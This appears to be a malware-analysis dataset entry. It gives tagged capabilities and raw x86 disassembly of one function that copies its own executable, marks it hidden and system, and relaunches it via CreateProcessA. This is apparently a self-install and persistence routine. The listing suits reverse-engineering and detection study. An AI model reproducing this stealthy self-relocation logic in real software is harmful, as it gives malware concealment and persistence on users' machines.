Function at 0x406930
Capabilities:
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x105
call fcn.00412765
add esp, 4
mov dword [ebp - 0x54], eax
test eax, eax
je 0x406943
push 0x104
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40697e
mov eax, dword [0x429108]
mov ecx, dword [eax]
mov edx, edi
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x406974
call fcn.00408d30
lea ecx, [ebp - 0x40]
push ecx
push eax
call fcn.004122d4
add esp, 8
test eax, eax
je 0x4069ce
call fcn.00408d30
push eax
call fcn.00413cf9
add esp, 4
call fcn.00408d30
push eax
call fcn.00408980
add esp, 4
call fcn.00408d30
push 0
push eax
call fcn.004086b0
add esp, 8
call fcn.00408d30
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00408d30
push eax
call fcn.00413d2b
add esp, 4
call fcn.00409190
mov ecx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406a03
test dl, dl
je 0x4069ff
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406a03
add ecx, 2
add eax, 2
test dl, dl
jne 0x4069e3
xor eax, eax
jmp 0x406a08
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406abf
call fcn.00409190
lea edx, [ebp - 0x40]
push edx
push eax
call fcn.004122d4
add esp, 8
test eax, eax
jne 0x406a34
call fcn.00409190
push eax
call fcn.0041292a
add esp, 4
push 0x32
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0xc8]
add esp, 4
mov eax, edi
call fcn.00402430
test al, al
je 0x406a7f
push 0x32
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov esi, dword [ecx + 0xc8]
add esp, 4
push 1
call fcn.00409190
push eax
push esi
mov eax, edi
call fcn.00402930
add esp, 0xc
jmp 0x406a8f
call fcn.00409190
push eax
mov eax, edi
call fcn.00401090
add esp, 4
call fcn.00409190
mov esi, eax
push 0x423550
push esi
call fcn.004119cb
add esp, 8
test eax, eax
je 0x406ab1
push esi
call fcn.00401d30
add esp, 4
call fcn.00409190
push eax
call fcn.00408980
add esp, 4
call fcn.00408a90
cmp eax, 2
je 0x406b03
call fcn.004036f0
push 0
push 0
push 0
cmp eax, 0x3c
jl 0x406aef
push 0x4079b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42a2f0], eax
jmp 0x406b03
push 0x407820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42a11c], eax
call fcn.00408a90
cmp eax, 1
jne 0x406bab
call fcn.00409190
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406b20
sub eax, edx
lea ebx, [eax + 0x11]
lea esp, [esp]
push ebx
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x406b30
push 0x84
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x210]
add esp, 4
push eax
call fcn.00409190
push eax
push str.__s___s
push esi
call fcn.004128a6
push 0x44
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.00415c60
add esp, 0x1c
xor eax, eax
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x50]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push esi
push eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push esi
call fcn.0041272b
add esp, 4
call fcn.00409190
mov ecx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406bd2
test dl, dl
je 0x406bce
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406bd2
add ecx, 2
add eax, 2
test dl, dl
jne 0x406bb2
xor eax, eax
jmp 0x406bd7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406d00
call fcn.00409190
lea ecx, [ebp - 0x40]
push ecx
push eax
call fcn.004122d4
add esp, 8
test eax, eax
jne 0x406d00
mov eax, dword [0x42a36c]
test eax, eax
je 0x406c0e
cmp eax, 0xffffffff
je 0x406c0e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00409190
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c16
sub eax, edx
lea esi, [eax + 0x11]
push esi
call fcn.00412765
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x406c22
call fcn.00409190
push eax
push str.__s_
push ebx
call fcn.004128a6
add esp, 0xc
call fcn.00408a90
test eax, eax
jne 0x406ca9
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x406c51
mov dx, word [0x425b3c]
push 0x84
mov word [edi], dx
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x210]
add esp, 4
mov esi, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406c80
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x406c90
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x54]
push 0x44
lea ecx, [ebp - 0x50]
push 0
push ecx
call fcn.00415c60
add esp, 0xc
xor eax, eax
lea edx, [ebp - 0x64]
push edx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x100
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push ebx
call fcn.0041272b
add esp, 4
push edi
call fcn.0041272b
add esp, 4
push 0
call fcn.00412e00
push edi
call fcn.0041272b
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret